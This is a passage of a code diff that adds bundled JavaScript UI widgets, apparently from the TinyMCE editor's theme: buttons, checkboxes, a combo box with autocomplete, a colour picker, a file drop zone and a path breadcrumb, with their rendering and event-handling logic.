+      resizeBy: resizeBy,
+      getNotificationManagerImpl: getNotificationManagerImpl,
+      getWindowManagerImpl: getWindowManagerImpl
+    };
+  };
+  var $_buaxbttqjjgwefn0 = { get: get };
+
+  var Layout = global$10.extend({
+    Defaults: {
+      firstControlClass: 'first',
+      lastControlClass: 'last'
+    },
+    init: function (settings) {
+      this.settings = global$2.extend({}, this.Defaults, settings);
+    },
+    preRender: function (container) {
+      container.bodyClasses.add(this.settings.containerClass);
+    },
+    applyClasses: function (items) {
+      var self = this;
+      var settings = self.settings;
+      var firstClass, lastClass, firstItem, lastItem;
+      firstClass = settings.firstControlClass;
+      lastClass = settings.lastControlClass;
+      items.each(function (item) {
+        item.classes.remove(firstClass).remove(lastClass).add(settings.controlClass);
+        if (item.visible()) {
+          if (!firstItem) {
+            firstItem = item;
+          }
+          lastItem = item;
+        }
+      });
+      if (firstItem) {
+        firstItem.classes.add(firstClass);
+      }
+      if (lastItem) {
+        lastItem.classes.add(lastClass);
+      }
+    },
+    renderHtml: function (container) {
+      var self = this;
+      var html = '';
+      self.applyClasses(container.items());
+      container.items().each(function (item) {
+        html += item.renderHtml();
+      });
+      return html;
+    },
+    recalc: function () {
+    },
+    postRender: function () {
+    },
+    isNative: function () {
+      return false;
+    }
+  });
+
+  var AbsoluteLayout = Layout.extend({
+    Defaults: {
+      containerClass: 'abs-layout',
+      controlClass: 'abs-layout-item'
+    },
+    recalc: function (container) {
+      container.items().filter(':visible').each(function (ctrl) {
+        var settings = ctrl.settings;
+        ctrl.layoutRect({
+          x: settings.x,
+          y: settings.y,
+          w: settings.w,
+          h: settings.h
+        });
+        if (ctrl.recalc) {
+          ctrl.recalc();
+        }
+      });
+    },
+    renderHtml: function (container) {
+      return '<div id="' + container._id + '-absend" class="' + container.classPrefix + 'abs-end"></div>' + this._super(container);
+    }
+  });
+
+  var Button = Widget.extend({
+    Defaults: {
+      classes: 'widget btn',
+      role: 'button'
+    },
+    init: function (settings) {
+      var self$$1 = this;
+      var size;
+      self$$1._super(settings);
+      settings = self$$1.settings;
+      size = self$$1.settings.size;
+      self$$1.on('click mousedown', function (e) {
+        e.preventDefault();
+      });
+      self$$1.on('touchstart', function (e) {
+        self$$1.fire('click', e);
+        e.preventDefault();
+      });
+      if (settings.subtype) {
+        self$$1.classes.add(settings.subtype);
+      }
+      if (size) {
+        self$$1.classes.add('btn-' + size);
+      }
+      if (settings.icon) {
+        self$$1.icon(settings.icon);
+      }
+    },
+    icon: function (icon) {
+      if (!arguments.length) {
+        return this.state.get('icon');
+      }
+      this.state.set('icon', icon);
+      return this;
+    },
+    repaint: function () {
+      var btnElm = this.getEl().firstChild;
+      var btnStyle;
+      if (btnElm) {
+        btnStyle = btnElm.style;
+        btnStyle.width = btnStyle.height = '100%';
+      }
+      this._super();
+    },
+    renderHtml: function () {
+      var self$$1 = this, id = self$$1._id, prefix = self$$1.classPrefix;
+      var icon = self$$1.state.get('icon'), image;
+      var text = self$$1.state.get('text');
+      var textHtml = '';
+      var ariaPressed;
+      var settings = self$$1.settings;
+      image = settings.image;
+      if (image) {
+        icon = 'none';
+        if (typeof image !== 'string') {
+          image = window.getSelection ? image[0] : image[1];
+        }
+        image = ' style="background-image: url(\'' + image + '\')"';
+      } else {
+        image = '';
+      }
+      if (text) {
+        self$$1.classes.add('btn-has-text');
+        textHtml = '<span class="' + prefix + 'txt">' + self$$1.encode(text) + '</span>';
+      }
+      icon = icon ? prefix + 'ico ' + prefix + 'i-' + icon : '';
+      ariaPressed = typeof settings.active === 'boolean' ? ' aria-pressed="' + settings.active + '"' : '';
+      return '<div id="' + id + '" class="' + self$$1.classes + '" tabindex="-1"' + ariaPressed + '>' + '<button id="' + id + '-button" role="presentation" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + textHtml + '</button>' + '</div>';
+    },
+    bindStates: function () {
+      var self$$1 = this, $ = self$$1.$, textCls = self$$1.classPrefix + 'txt';
+      function setButtonText(text) {
+        var $span = $('span.' + textCls, self$$1.getEl());
+        if (text) {
+          if (!$span[0]) {
+            $('button:first', self$$1.getEl()).append('<span class="' + textCls + '"></span>');
+            $span = $('span.' + textCls, self$$1.getEl());
+          }
+          $span.html(self$$1.encode(text));
+        } else {
+          $span.remove();
+        }
+        self$$1.classes.toggle('btn-has-text', !!text);
+      }
+      self$$1.state.on('change:text', function (e) {
+        setButtonText(e.value);
+      });
+      self$$1.state.on('change:icon', function (e) {
+        var icon = e.value;
+        var prefix = self$$1.classPrefix;
+        self$$1.settings.icon = icon;
+        icon = icon ? prefix + 'ico ' + prefix + 'i-' + self$$1.settings.icon : '';
+        var btnElm = self$$1.getEl().firstChild;
+        var iconElm = btnElm.getElementsByTagName('i')[0];
+        if (icon) {
+          if (!iconElm || iconElm !== btnElm.firstChild) {
+            iconElm = document.createElement('i');
+            btnElm.insertBefore(iconElm, btnElm.firstChild);
+          }
+          iconElm.className = icon;
+        } else if (iconElm) {
+          btnElm.removeChild(iconElm);
+        }
+        setButtonText(self$$1.state.get('text'));
+      });
+      return self$$1._super();
+    }
+  });
+
+  var BrowseButton = Button.extend({
+    init: function (settings) {
+      var self = this;
+      settings = global$2.extend({
+        text: 'Browse...',
+        multiple: false,
+        accept: null
+      }, settings);
+      self._super(settings);
+      self.classes.add('browsebutton');
+      if (settings.multiple) {
+        self.classes.add('multiple');
+      }
+    },
+    postRender: function () {
+      var self = this;
+      var input = funcs.create('input', {
+        type: 'file',
+        id: self._id + '-browse',
+        accept: self.settings.accept
+      });
+      self._super();
+      global$9(input).on('change', function (e) {
+        var files = e.target.files;
+        self.value = function () {
+          if (!files.length) {
+            return null;
+          } else if (self.settings.multiple) {
+            return files;
+          } else {
+            return files[0];
+          }
+        };
+        e.preventDefault();
+        if (files.length) {
+          self.fire('change', e);
+        }
+      });
+      global$9(input).on('click', function (e) {
+        e.stopPropagation();
+      });
+      global$9(self.getEl('button')).on('click', function (e) {
+        e.stopPropagation();
+        input.click();
+      });
+      self.getEl().appendChild(input);
+    },
+    remove: function () {
+      global$9(this.getEl('button')).off();
+      global$9(this.getEl('input')).off();
+      this._super();
+    }
+  });
+
+  var ButtonGroup = Container.extend({
+    Defaults: {
+      defaultType: 'button',
+      role: 'group'
+    },
+    renderHtml: function () {
+      var self = this, layout = self._layout;
+      self.classes.add('btn-group');
+      self.preRender();
+      layout.preRender(self);
+      return '<div id="' + self._id + '" class="' + self.classes + '">' + '<div id="' + self._id + '-body">' + (self.settings.html || '') + layout.renderHtml(self) + '</div>' + '</div>';
+    }
+  });
+
+  var Checkbox = Widget.extend({
+    Defaults: {
+      classes: 'checkbox',
+      role: 'checkbox',
+      checked: false
+    },
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._super(settings);
+      self$$1.on('click mousedown', function (e) {
+        e.preventDefault();
+      });
+      self$$1.on('click', function (e) {
+        e.preventDefault();
+        if (!self$$1.disabled()) {
+          self$$1.checked(!self$$1.checked());
+        }
+      });
+      self$$1.checked(self$$1.settings.checked);
+    },
+    checked: function (state) {
+      if (!arguments.length) {
+        return this.state.get('checked');
+      }
+      this.state.set('checked', state);
+      return this;
+    },
+    value: function (state) {
+      if (!arguments.length) {
+        return this.checked();
+      }
+      return this.checked(state);
+    },
+    renderHtml: function () {
+      var self$$1 = this, id = self$$1._id, prefix = self$$1.classPrefix;
+      return '<div id="' + id + '" class="' + self$$1.classes + '" unselectable="on" aria-labelledby="' + id + '-al" tabindex="-1">' + '<i class="' + prefix + 'ico ' + prefix + 'i-checkbox"></i>' + '<span id="' + id + '-al" class="' + prefix + 'label">' + self$$1.encode(self$$1.state.get('text')) + '</span>' + '</div>';
+    },
+    bindStates: function () {
+      var self$$1 = this;
+      function checked(state) {
+        self$$1.classes.toggle('checked', state);
+        self$$1.aria('checked', state);
+      }
+      self$$1.state.on('change:text', function (e) {
+        self$$1.getEl('al').firstChild.data = self$$1.translate(e.value);
+      });
+      self$$1.state.on('change:checked change:value', function (e) {
+        self$$1.fire('change');
+        checked(e.value);
+      });
+      self$$1.state.on('change:icon', function (e) {
+        var icon = e.value;
+        var prefix = self$$1.classPrefix;
+        if (typeof icon === 'undefined') {
+          return self$$1.settings.icon;
+        }
+        self$$1.settings.icon = icon;
+        icon = icon ? prefix + 'ico ' + prefix + 'i-' + self$$1.settings.icon : '';
+        var btnElm = self$$1.getEl().firstChild;
+        var iconElm = btnElm.getElementsByTagName('i')[0];
+        if (icon) {
+          if (!iconElm || iconElm !== btnElm.firstChild) {
+            iconElm = document.createElement('i');
+            btnElm.insertBefore(iconElm, btnElm.firstChild);
+          }
+          iconElm.className = icon;
+        } else if (iconElm) {
+          btnElm.removeChild(iconElm);
+        }
+      });
+      if (self$$1.state.get('checked')) {
+        checked(true);
+      }
+      return self$$1._super();
+    }
+  });
+
+  var global$13 = tinymce.util.Tools.resolve('tinymce.util.VK');
+
+  var ComboBox = Widget.extend({
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._super(settings);
+      settings = self$$1.settings;
+      self$$1.classes.add('combobox');
+      self$$1.subinput = true;
+      self$$1.ariaTarget = 'inp';
+      settings.menu = settings.menu || settings.values;
+      if (settings.menu) {
+        settings.icon = 'caret';
+      }
+      self$$1.on('click', function (e) {
+        var elm = e.target;
+        var root = self$$1.getEl();
+        if (!global$9.contains(root, elm) && elm !== root) {
+          return;
+        }
+        while (elm && elm !== root) {
+          if (elm.id && elm.id.indexOf('-open') !== -1) {
+            self$$1.fire('action');
+            if (settings.menu) {
+              self$$1.showMenu();
+              if (e.aria) {
+                self$$1.menu.items()[0].focus();
+              }
+            }
+          }
+          elm = elm.parentNode;
+        }
+      });
+      self$$1.on('keydown', function (e) {
+        var rootControl;
+        if (e.keyCode === 13 && e.target.nodeName === 'INPUT') {
+          e.preventDefault();
+          self$$1.parents().reverse().each(function (ctrl) {
+            if (ctrl.toJSON) {
+              rootControl = ctrl;
+              return false;
+            }
+          });
+          self$$1.fire('submit', { data: rootControl.toJSON() });
+        }
+      });
+      self$$1.on('keyup', function (e) {
+        if (e.target.nodeName === 'INPUT') {
+          var oldValue = self$$1.state.get('value');
+          var newValue = e.target.value;
+          if (newValue !== oldValue) {
+            self$$1.state.set('value', newValue);
+            self$$1.fire('autocomplete', e);
+          }
+        }
+      });
+      self$$1.on('mouseover', function (e) {
+        var tooltip = self$$1.tooltip().moveTo(-65535);
+        if (self$$1.statusLevel() && e.target.className.indexOf(self$$1.classPrefix + 'status') !== -1) {
+          var statusMessage = self$$1.statusMessage() || 'Ok';
+          var rel = tooltip.text(statusMessage).show().testMoveRel(e.target, [
+            'bc-tc',
+            'bc-tl',
+            'bc-tr'
+          ]);
+          tooltip.classes.toggle('tooltip-n', rel === 'bc-tc');
+          tooltip.classes.toggle('tooltip-nw', rel === 'bc-tl');
+          tooltip.classes.toggle('tooltip-ne', rel === 'bc-tr');
+          tooltip.moveRel(e.target, rel);
+        }
+      });
+    },
+    statusLevel: function (value) {
+      if (arguments.length > 0) {
+        this.state.set('statusLevel', value);
+      }
+      return this.state.get('statusLevel');
+    },
+    statusMessage: function (value) {
+      if (arguments.length > 0) {
+        this.state.set('statusMessage', value);
+      }
+      return this.state.get('statusMessage');
+    },
+    showMenu: function () {
+      var self$$1 = this;
+      var settings = self$$1.settings;
+      var menu;
+      if (!self$$1.menu) {
+        menu = settings.menu || [];
+        if (menu.length) {
+          menu = {
+            type: 'menu',
+            items: menu
+          };
+        } else {
+          menu.type = menu.type || 'menu';
+        }
+        self$$1.menu = global$4.create(menu).parent(self$$1).renderTo(self$$1.getContainerElm());
+        self$$1.fire('createmenu');
+        self$$1.menu.reflow();
+        self$$1.menu.on('cancel', function (e) {
+          if (e.control === self$$1.menu) {
+            self$$1.focus();
+          }
+        });
+        self$$1.menu.on('show hide', function (e) {
+          e.control.items().each(function (ctrl) {
+            ctrl.active(ctrl.value() === self$$1.value());
+          });
+        }).fire('show');
+        self$$1.menu.on('select', function (e) {
+          self$$1.value(e.control.value());
+        });
+        self$$1.on('focusin', function (e) {
+          if (e.target.tagName.toUpperCase() === 'INPUT') {
+            self$$1.menu.hide();
+          }
+        });
+        self$$1.aria('expanded', true);
+      }
+      self$$1.menu.show();
+      self$$1.menu.layoutRect({ w: self$$1.layoutRect().w });
+      self$$1.menu.moveRel(self$$1.getEl(), self$$1.isRtl() ? [
+        'br-tr',
+        'tr-br'
+      ] : [
+        'bl-tl',
+        'tl-bl'
+      ]);
+    },
+    focus: function () {
+      this.getEl('inp').focus();
+    },
+    repaint: function () {
+      var self$$1 = this, elm = self$$1.getEl(), openElm = self$$1.getEl('open'), rect = self$$1.layoutRect();
+      var width, lineHeight, innerPadding = 0;
+      var inputElm = elm.firstChild;
+      if (self$$1.statusLevel() && self$$1.statusLevel() !== 'none') {
+        innerPadding = parseInt(funcs.getRuntimeStyle(inputElm, 'padding-right'), 10) - parseInt(funcs.getRuntimeStyle(inputElm, 'padding-left'), 10);
+      }
+      if (openElm) {
+        width = rect.w - funcs.getSize(openElm).width - 10;
+      } else {
+        width = rect.w - 10;
+      }
+      var doc = document;
+      if (doc.all && (!doc.documentMode || doc.documentMode <= 8)) {
+        lineHeight = self$$1.layoutRect().h - 2 + 'px';
+      }
+      global$9(inputElm).css({
+        width: width - innerPadding,
+        lineHeight: lineHeight
+      });
+      self$$1._super();
+      return self$$1;
+    },
+    postRender: function () {
+      var self$$1 = this;
+      global$9(this.getEl('inp')).on('change', function (e) {
+        self$$1.state.set('value', e.target.value);
+        self$$1.fire('change', e);
+      });
+      return self$$1._super();
+    },
+    renderHtml: function () {
+      var self$$1 = this, id = self$$1._id, settings = self$$1.settings, prefix = self$$1.classPrefix;
+      var value = self$$1.state.get('value') || '';
+      var icon, text, openBtnHtml = '', extraAttrs = '', statusHtml = '';
+      if ('spellcheck' in settings) {
+        extraAttrs += ' spellcheck="' + settings.spellcheck + '"';
+      }
+      if (settings.maxLength) {
+        extraAttrs += ' maxlength="' + settings.maxLength + '"';
+      }
+      if (settings.size) {
+        extraAttrs += ' size="' + settings.size + '"';
+      }
+      if (settings.subtype) {
+        extraAttrs += ' type="' + settings.subtype + '"';
+      }
+      statusHtml = '<i id="' + id + '-status" class="mce-status mce-ico" style="display: none"></i>';
+      if (self$$1.disabled()) {
+        extraAttrs += ' disabled="disabled"';
+      }
+      icon = settings.icon;
+      if (icon && icon !== 'caret') {
+        icon = prefix + 'ico ' + prefix + 'i-' + settings.icon;
+      }
+      text = self$$1.state.get('text');
+      if (icon || text) {
+        openBtnHtml = '<div id="' + id + '-open" class="' + prefix + 'btn ' + prefix + 'open" tabIndex="-1" role="button">' + '<button id="' + id + '-action" type="button" hidefocus="1" tabindex="-1">' + (icon !== 'caret' ? '<i class="' + icon + '"></i>' : '<i class="' + prefix + 'caret"></i>') + (text ? (icon ? ' ' : '') + text : '') + '</button>' + '</div>';
+        self$$1.classes.add('has-open');
+      }
+      return '<div id="' + id + '" class="' + self$$1.classes + '">' + '<input id="' + id + '-inp" class="' + prefix + 'textbox" value="' + self$$1.encode(value, false) + '" hidefocus="1"' + extraAttrs + ' placeholder="' + self$$1.encode(settings.placeholder) + '" />' + statusHtml + openBtnHtml + '</div>';
+    },
+    value: function (value) {
+      if (arguments.length) {
+        this.state.set('value', value);
+        return this;
+      }
+      if (this.state.get('rendered')) {
+        this.state.set('value', this.getEl('inp').value);
+      }
+      return this.state.get('value');
+    },
+    showAutoComplete: function (items, term) {
+      var self$$1 = this;
+      if (items.length === 0) {
+        self$$1.hideMenu();
+        return;
+      }
+      var insert = function (value, title) {
+        return function () {
+          self$$1.fire('selectitem', {
+            title: title,
+            value: value
+          });
+        };
+      };
+      if (self$$1.menu) {
+        self$$1.menu.items().remove();
+      } else {
+        self$$1.menu = global$4.create({
+          type: 'menu',
+          classes: 'combobox-menu',
+          layout: 'flow'
+        }).parent(self$$1).renderTo();
+      }
+      global$2.each(items, function (item) {
+        self$$1.menu.add({
+          text: item.title,
+          url: item.previewUrl,
+          match: term,
+          classes: 'menu-item-ellipsis',
+          onclick: insert(item.value, item.title)
+        });
+      });
+      self$$1.menu.renderNew();
+      self$$1.hideMenu();
+      self$$1.menu.on('cancel', function (e) {
+        if (e.control.parent() === self$$1.menu) {
+          e.stopPropagation();
+          self$$1.focus();
+          self$$1.hideMenu();
+        }
+      });
+      self$$1.menu.on('select', function () {
+        self$$1.focus();
+      });
+      var maxW = self$$1.layoutRect().w;
+      self$$1.menu.layoutRect({
+        w: maxW,
+        minW: 0,
+        maxW: maxW
+      });
+      self$$1.menu.repaint();
+      self$$1.menu.reflow();
+      self$$1.menu.show();
+      self$$1.menu.moveRel(self$$1.getEl(), self$$1.isRtl() ? [
+        'br-tr',
+        'tr-br'
+      ] : [
+        'bl-tl',
+        'tl-bl'
+      ]);
+    },
+    hideMenu: function () {
+      if (this.menu) {
+        this.menu.hide();
+      }
+    },
+    bindStates: function () {
+      var self$$1 = this;
+      self$$1.state.on('change:value', function (e) {
+        if (self$$1.getEl('inp').value !== e.value) {
+          self$$1.getEl('inp').value = e.value;
+        }
+      });
+      self$$1.state.on('change:disabled', function (e) {
+        self$$1.getEl('inp').disabled = e.value;
+      });
+      self$$1.state.on('change:statusLevel', function (e) {
+        var statusIconElm = self$$1.getEl('status');
+        var prefix = self$$1.classPrefix, value = e.value;
+        funcs.css(statusIconElm, 'display', value === 'none' ? 'none' : '');
+        funcs.toggleClass(statusIconElm, prefix + 'i-checkmark', value === 'ok');
+        funcs.toggleClass(statusIconElm, prefix + 'i-warning', value === 'warn');
+        funcs.toggleClass(statusIconElm, prefix + 'i-error', value === 'error');
+        self$$1.classes.toggle('has-status', value !== 'none');
+        self$$1.repaint();
+      });
+      funcs.on(self$$1.getEl('status'), 'mouseleave', function () {
+        self$$1.tooltip().hide();
+      });
+      self$$1.on('cancel', function (e) {
+        if (self$$1.menu && self$$1.menu.visible()) {
+          e.stopPropagation();
+          self$$1.hideMenu();
+        }
+      });
+      var focusIdx = function (idx, menu) {
+        if (menu && menu.items().length > 0) {
+          menu.items().eq(idx)[0].focus();
+        }
+      };
+      self$$1.on('keydown', function (e) {
+        var keyCode = e.keyCode;
+        if (e.target.nodeName === 'INPUT') {
+          if (keyCode === global$13.DOWN) {
+            e.preventDefault();
+            self$$1.fire('autocomplete');
+            focusIdx(0, self$$1.menu);
+          } else if (keyCode === global$13.UP) {
+            e.preventDefault();
+            focusIdx(-1, self$$1.menu);
+          }
+        }
+      });
+      return self$$1._super();
+    },
+    remove: function () {
+      global$9(this.getEl('inp')).off();
+      if (this.menu) {
+        this.menu.remove();
+      }
+      this._super();
+    }
+  });
+
+  var ColorBox = ComboBox.extend({
+    init: function (settings) {
+      var self = this;
+      settings.spellcheck = false;
+      if (settings.onaction) {
+        settings.icon = 'none';
+      }
+      self._super(settings);
+      self.classes.add('colorbox');
+      self.on('change keyup postrender', function () {
+        self.repaintColor(self.value());
+      });
+    },
+    repaintColor: function (value) {
+      var openElm = this.getEl('open');
+      var elm = openElm ? openElm.getElementsByTagName('i')[0] : null;
+      if (elm) {
+        try {
+          elm.style.background = value;
+        } catch (ex) {
+        }
+      }
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:value', function (e) {
+        if (self.state.get('rendered')) {
+          self.repaintColor(e.value);
+        }
+      });
+      return self._super();
+    }
+  });
+
+  var PanelButton = Button.extend({
+    showPanel: function () {
+      var self = this, settings = self.settings;
+      self.classes.add('opened');
+      if (!self.panel) {
+        var panelSettings = settings.panel;
+        if (panelSettings.type) {
+          panelSettings = {
+            layout: 'grid',
+            items: panelSettings
+          };
+        }
+        panelSettings.role = panelSettings.role || 'dialog';
+        panelSettings.popover = true;
+        panelSettings.autohide = true;
+        panelSettings.ariaRoot = true;
+        self.panel = new FloatPanel(panelSettings).on('hide', function () {
+          self.classes.remove('opened');
+        }).on('cancel', function (e) {
+          e.stopPropagation();
+          self.focus();
+          self.hidePanel();
+        }).parent(self).renderTo(self.getContainerElm());
+        self.panel.fire('show');
+        self.panel.reflow();
+      } else {
+        self.panel.show();
+      }
+      var rtlRels = [
+        'bc-tc',
+        'bc-tl',
+        'bc-tr'
+      ];
+      var ltrRels = [
+        'bc-tc',
+        'bc-tr',
+        'bc-tl',
+        'tc-bc',
+        'tc-br',
+        'tc-bl'
+      ];
+      var rel = self.panel.testMoveRel(self.getEl(), settings.popoverAlign || (self.isRtl() ? rtlRels : ltrRels));
+      self.panel.classes.toggle('start', rel.substr(-1) === 'l');
+      self.panel.classes.toggle('end', rel.substr(-1) === 'r');
+      var isTop = rel.substr(0, 1) === 't';
+      self.panel.classes.toggle('bottom', !isTop);
+      self.panel.classes.toggle('top', isTop);
+      self.panel.moveRel(self.getEl(), rel);
+    },
+    hidePanel: function () {
+      var self = this;
+      if (self.panel) {
+        self.panel.hide();
+      }
+    },
+    postRender: function () {
+      var self = this;
+      self.aria('haspopup', true);
+      self.on('click', function (e) {
+        if (e.control === self) {
+          if (self.panel && self.panel.visible()) {
+            self.hidePanel();
+          } else {
+            self.showPanel();
+            self.panel.focus(!!e.aria);
+          }
+        }
+      });
+      return self._super();
+    },
+    remove: function () {
+      if (this.panel) {
+        this.panel.remove();
+        this.panel = null;
+      }
+      return this._super();
+    }
+  });
+
+  var DOM$3 = global$3.DOM;
+  var ColorButton = PanelButton.extend({
+    init: function (settings) {
+      this._super(settings);
+      this.classes.add('splitbtn');
+      this.classes.add('colorbutton');
+    },
+    color: function (color) {
+      if (color) {
+        this._color = color;
+        this.getEl('preview').style.backgroundColor = color;
+        return this;
+      }
+      return this._color;
+    },
+    resetColor: function () {
+      this._color = null;
+      this.getEl('preview').style.backgroundColor = null;
+      return this;
+    },
+    renderHtml: function () {
+      var self = this, id = self._id, prefix = self.classPrefix, text = self.state.get('text');
+      var icon = self.settings.icon ? prefix + 'ico ' + prefix + 'i-' + self.settings.icon : '';
+      var image = self.settings.image ? ' style="background-image: url(\'' + self.settings.image + '\')"' : '';
+      var textHtml = '';
+      if (text) {
+        self.classes.add('btn-has-text');
+        textHtml = '<span class="' + prefix + 'txt">' + self.encode(text) + '</span>';
+      }
+      return '<div id="' + id + '" class="' + self.classes + '" role="button" tabindex="-1" aria-haspopup="true">' + '<button role="presentation" hidefocus="1" type="button" tabindex="-1">' + (icon ? '<i class="' + icon + '"' + image + '></i>' : '') + '<span id="' + id + '-preview" class="' + prefix + 'preview"></span>' + textHtml + '</button>' + '<button type="button" class="' + prefix + 'open" hidefocus="1" tabindex="-1">' + ' <i class="' + prefix + 'caret"></i>' + '</button>' + '</div>';
+    },
+    postRender: function () {
+      var self = this, onClickHandler = self.settings.onclick;
+      self.on('click', function (e) {
+        if (e.aria && e.aria.key === 'down') {
+          return;
+        }
+        if (e.control === self && !DOM$3.getParent(e.target, '.' + self.classPrefix + 'open')) {
+          e.stopImmediatePropagation();
+          onClickHandler.call(self, e);
+        }
+      });
+      delete self.settings.onclick;
+      return self._super();
+    }
+  });
+
+  var global$14 = tinymce.util.Tools.resolve('tinymce.util.Color');
+
+  var ColorPicker = Widget.extend({
+    Defaults: { classes: 'widget colorpicker' },
+    init: function (settings) {
+      this._super(settings);
+    },
+    postRender: function () {
+      var self = this;
+      var color = self.color();
+      var hsv, hueRootElm, huePointElm, svRootElm, svPointElm;
+      hueRootElm = self.getEl('h');
+      huePointElm = self.getEl('hp');
+      svRootElm = self.getEl('sv');
+      svPointElm = self.getEl('svp');
+      function getPos(elm, event) {
+        var pos = funcs.getPos(elm);
+        var x, y;
+        x = event.pageX - pos.x;
+        y = event.pageY - pos.y;
+        x = Math.max(0, Math.min(x / elm.clientWidth, 1));
+        y = Math.max(0, Math.min(y / elm.clientHeight, 1));
+        return {
+          x: x,
+          y: y
+        };
+      }
+      function updateColor(hsv, hueUpdate) {
+        var hue = (360 - hsv.h) / 360;
+        funcs.css(huePointElm, { top: hue * 100 + '%' });
+        if (!hueUpdate) {
+          funcs.css(svPointElm, {
+            left: hsv.s + '%',
+            top: 100 - hsv.v + '%'
+          });
+        }
+        svRootElm.style.background = global$14({
+          s: 100,
+          v: 100,
+          h: hsv.h
+        }).toHex();
+        self.color().parse({
+          s: hsv.s,
+          v: hsv.v,
+          h: hsv.h
+        });
+      }
+      function updateSaturationAndValue(e) {
+        var pos;
+        pos = getPos(svRootElm, e);
+        hsv.s = pos.x * 100;
+        hsv.v = (1 - pos.y) * 100;
+        updateColor(hsv);
+        self.fire('change');
+      }
+      function updateHue(e) {
+        var pos;
+        pos = getPos(hueRootElm, e);
+        hsv = color.toHsv();
+        hsv.h = (1 - pos.y) * 360;
+        updateColor(hsv, true);
+        self.fire('change');
+      }
+      self._repaint = function () {
+        hsv = color.toHsv();
+        updateColor(hsv);
+      };
+      self._super();
+      self._svdraghelper = new DragHelper(self._id + '-sv', {
+        start: updateSaturationAndValue,
+        drag: updateSaturationAndValue
+      });
+      self._hdraghelper = new DragHelper(self._id + '-h', {
+        start: updateHue,
+        drag: updateHue
+      });
+      self._repaint();
+    },
+    rgb: function () {
+      return this.color().toRgb();
+    },
+    value: function (value) {
+      var self = this;
+      if (arguments.length) {
+        self.color().parse(value);
+        if (self._rendered) {
+          self._repaint();
+        }
+      } else {
+        return self.color().toHex();
+      }
+    },
+    color: function () {
+      if (!this._color) {
+        this._color = global$14();
+      }
+      return this._color;
+    },
+    renderHtml: function () {
+      var self = this;
+      var id = self._id;
+      var prefix = self.classPrefix;
+      var hueHtml;
+      var stops = '#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000';
+      function getOldIeFallbackHtml() {
+        var i, l, html = '', gradientPrefix, stopsList;
+        gradientPrefix = 'filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=';
+        stopsList = stops.split(',');
+        for (i = 0, l = stopsList.length - 1; i < l; i++) {
+          html += '<div class="' + prefix + 'colorpicker-h-chunk" style="' + 'height:' + 100 / l + '%;' + gradientPrefix + stopsList[i] + ',endColorstr=' + stopsList[i + 1] + ');' + '-ms-' + gradientPrefix + stopsList[i] + ',endColorstr=' + stopsList[i + 1] + ')' + '"></div>';
+        }
+        return html;
+      }
+      var gradientCssText = 'background: -ms-linear-gradient(top,' + stops + ');' + 'background: linear-gradient(to bottom,' + stops + ');';
+      hueHtml = '<div id="' + id + '-h" class="' + prefix + 'colorpicker-h" style="' + gradientCssText + '">' + getOldIeFallbackHtml() + '<div id="' + id + '-hp" class="' + prefix + 'colorpicker-h-marker"></div>' + '</div>';
+      return '<div id="' + id + '" class="' + self.classes + '">' + '<div id="' + id + '-sv" class="' + prefix + 'colorpicker-sv">' + '<div class="' + prefix + 'colorpicker-overlay1">' + '<div class="' + prefix + 'colorpicker-overlay2">' + '<div id="' + id + '-svp" class="' + prefix + 'colorpicker-selector1">' + '<div class="' + prefix + 'colorpicker-selector2"></div>' + '</div>' + '</div>' + '</div>' + '</div>' + hueHtml + '</div>';
+    }
+  });
+
+  var DropZone = Widget.extend({
+    init: function (settings) {
+      var self = this;
+      settings = global$2.extend({
+        height: 100,
+        text: 'Drop an image here',
+        multiple: false,
+        accept: null
+      }, settings);
+      self._super(settings);
+      self.classes.add('dropzone');
+      if (settings.multiple) {
+        self.classes.add('multiple');
+      }
+    },
+    renderHtml: function () {
+      var self = this;
+      var attrs, elm;
+      var cfg = self.settings;
+      attrs = {
+        id: self._id,
+        hidefocus: '1'
+      };
+      elm = funcs.create('div', attrs, '<span>' + this.translate(cfg.text) + '</span>');
+      if (cfg.height) {
+        funcs.css(elm, 'height', cfg.height + 'px');
+      }
+      if (cfg.width) {
+        funcs.css(elm, 'width', cfg.width + 'px');
+      }
+      elm.className = self.classes;
+      return elm.outerHTML;
+    },
+    postRender: function () {
+      var self = this;
+      var toggleDragClass = function (e) {
+        e.preventDefault();
+        self.classes.toggle('dragenter');
+        self.getEl().className = self.classes;
+      };
+      var filter = function (files) {
+        var accept = self.settings.accept;
+        if (typeof accept !== 'string') {
+          return files;
+        }
+        var re = new RegExp('(' + accept.split(/\s*,\s*/).join('|') + ')$', 'i');
+        return global$2.grep(files, function (file) {
+          return re.test(file.name);
+        });
+      };
+      self._super();
+      self.$el.on('dragover', function (e) {
+        e.preventDefault();
+      });
+      self.$el.on('dragenter', toggleDragClass);
+      self.$el.on('dragleave', toggleDragClass);
+      self.$el.on('drop', function (e) {
+        e.preventDefault();
+        if (self.state.get('disabled')) {
+          return;
+        }
+        var files = filter(e.dataTransfer.files);
+        self.value = function () {
+          if (!files.length) {
+            return null;
+          } else if (self.settings.multiple) {
+            return files;
+          } else {
+            return files[0];
+          }
+        };
+        if (files.length) {
+          self.fire('change', e);
+        }
+      });
+    },
+    remove: function () {
+      this.$el.off();
+      this._super();
+    }
+  });
+
+  var Path = Widget.extend({
+    init: function (settings) {
+      var self = this;
+      if (!settings.delimiter) {
+        settings.delimiter = '\xBB';
+      }
+      self._super(settings);
+      self.classes.add('path');
+      self.canFocus = true;
+      self.on('click', function (e) {
+        var index;
+        var target = e.target;
+        if (index = target.getAttribute('data-index')) {
+          self.fire('select', {
+            value: self.row()[index],
+            index: index
+          });
+        }
+      });
+      self.row(self.settings.row);
+    },
+    focus: function () {
+      var self = this;
+      self.getEl().firstChild.focus();
+      return self;
+    },
+    row: function (row) {
+      if (!arguments.length) {
+        return this.state.get('row');
+      }
+      this.state.set('row', row);
+      return this;
+    },
+    renderHtml: function () {
+      var self = this;
+      return '<div id="' + self._id + '" class="' + self.classes + '">' + self._getDataPathHtml(self.state.get('row')) + '</div>';
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:row', function (e) {
+        self.innerHtml(self._getDataPathHtml(e.value));
+      });
+      return self._super();
+    },
